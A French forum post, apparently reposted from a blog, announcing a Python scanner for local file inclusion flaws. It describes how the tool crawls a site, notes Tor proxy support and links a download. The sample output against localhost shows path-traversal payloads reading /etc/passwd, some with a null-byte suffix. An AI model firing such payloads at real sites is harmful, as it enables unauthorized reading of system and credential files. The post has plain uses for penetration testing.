Jump to content
begood

LFI Scanner

Recommended Posts

Posted

L’utilisation de scripting et d’outil développé sur mesure, est courant dans le domaine du test d’intrusion. Afin de répondre à un besoin spécifique et surtout pour le faire la main en python, j’ai développé un scanner de vulnérabilité de type LFI (Local File Inclusion). Ce scanner est développé en python, pour sa portabilité et sa facilité d’écriture. Les fonctionnalités sont encore sommaire mais elles ne demandent qu’a être améliorées (selon le temps que j’aurai de dispo, si vous n’avez rien a faire ?). Les dépendances sont quasiment toutes satisfaites mise à part optparse qu’il vous faudra installer.

J’ai embarqué une version de BeautifullSoup car il subsiste un bug lors du « parsing » des pages m’obligeant à utiliser une version inférieur à la version stable. Le scanner utilise donc une ancienne version de BeautilFullSoup cela le temps de corriger le bug. La lib termcolor n’est pas indispensable, mais elle apporte un gain en lecture.

Le tools fonctionne de la manière suivante.

root@corbier-laptop:/home/corbier/Dropbox/python/LfiScan# ./main.py -h

Usage: main.py -h for help

Options:

-h, –help show this help message and exit

-U HOST, –url=HOST Set url to scan france

-P PROXY, –proxy=PROXY

Set proxy localhost:9050 for Tor

Le support de tor est complet, j’ai donc utiliser la lib pycurl car urllib et urllib2 ne supporte pas les proxy sock. Voici l’utilisation du scanner dans un exemple :

root@corbier-laptop:/home/corbier/Dropbox/python/LfiScan# ./main.py -U http://127.0.0.1/

+[Crawler]+ Trying to get page ==> http://127.0.0.1/

+[Crawler]+ Trying to get page ==> http://127.0.0.1/40ff8f74f40925e361f150ca6999ddeb.php?pages=test

+[Crawler]+ Trying to get page ==> http://127.0.0.1/

+[Crawler]+ Trying to get page ==> http://127.0.0.1/40ff8f74f40925e361f150ca6999ddeb.php?pages=test&t=o&d=k

+[Crawler]+ Mail Found ==> aito@fw.ipsj.or.jp

+[Crawler]+ Trying to get page ==> w3mhelp-w3m_ja.html

+[Crawler]+ Trying to get page ==> http://127.0.0.1/40ff8f74f40925e361f150ca6999ddeb.php?pages=test&x=p

+[Crawler]+ Mail Found ==> aito@fw.ipsj.or.jp

+[Crawler]+ Mail Found ==> aito@fw.ipsj.or.jp

+[Main]+ Trying LFI attack !!!

+[injector]+ Trying to get page ==> http://127.0.0.1/40ff8f74f40925e361f150ca6999ddeb.php?pages=../../../../../../../../etc/passwd&t=../../../../../../../../etc/passwd&d=../../../../../../../../etc/passwd&x=../../../../../../../../etc/passwd&

+[injector]+ Trying to get page ==> http://127.0.0.1/40ff8f74f40925e361f150ca6999ddeb.php?pages=../../../../../../../../etc/passwd%00&t=../../../../../../../../etc/passwd%00&d=../../../../../../../../etc/passwd%00&x=../../../../../../../../etc/passwd%00&

+[injector]+ LFI dectected !!! on http://127.0.0.1/40ff8f74f40925e361f150ca6999ddeb.php?pages=../../../../../../../../etc/passwd%00&t=../../../../../../../../etc/passwd%00&d=../../../../../../../../etc/passwd%00&x=../../../../../../../../etc/passwd%00&

Ici le scanner commence par « crawler » la page principale du site . Ensuite, il enregistre tout les liens de la page dans une liste et enregistre les paramètres et scripts dans un dictionnaire. Les liens seront scannés si et seulement si ils n’ont pas déjà été scannés. Les scripts seront scannés si il y a apparition d’une nouvelle variable (cela évite que le scanner tourne en boucle sur les forums). Une fois que le site est crawlé dans son intégralité, le scanner va se constituer une série de url pour tenter d’exploiter une potentiel LFI.

La méthodologie n’est pas parfaite mais c’est la plus rapide à mettre en œuvre que j’ai trouvé.

Vous pouvez télécharger le scanner ici.

http://data.stealthisblog.fr/tools/LfiScan.zip

Il est vous est fourni sous la licence JMB (Je M’en Branle) Vous pouvez le garder pour vous, le redistribuer, le donner à votre chien, à votre grand mère.

Toutes les remarques bonnes ou mauvaises sont les bienvenues. : )

Enjoy !

Steal This Blog Blog Archive LFI Scanner

Join the conversation

You can post now and register later. If you have an account, sign in now to post with your account.

Guest
Reply to this topic...

×   Pasted as rich text.   Paste as plain text instead

  Only 75 emoji are allowed.

×   Your link has been automatically embedded.   Display as a link instead

×   Your previous content has been restored.   Clear editor

×   You cannot paste images directly. Upload or insert images from URL.



×
×
  • Create New...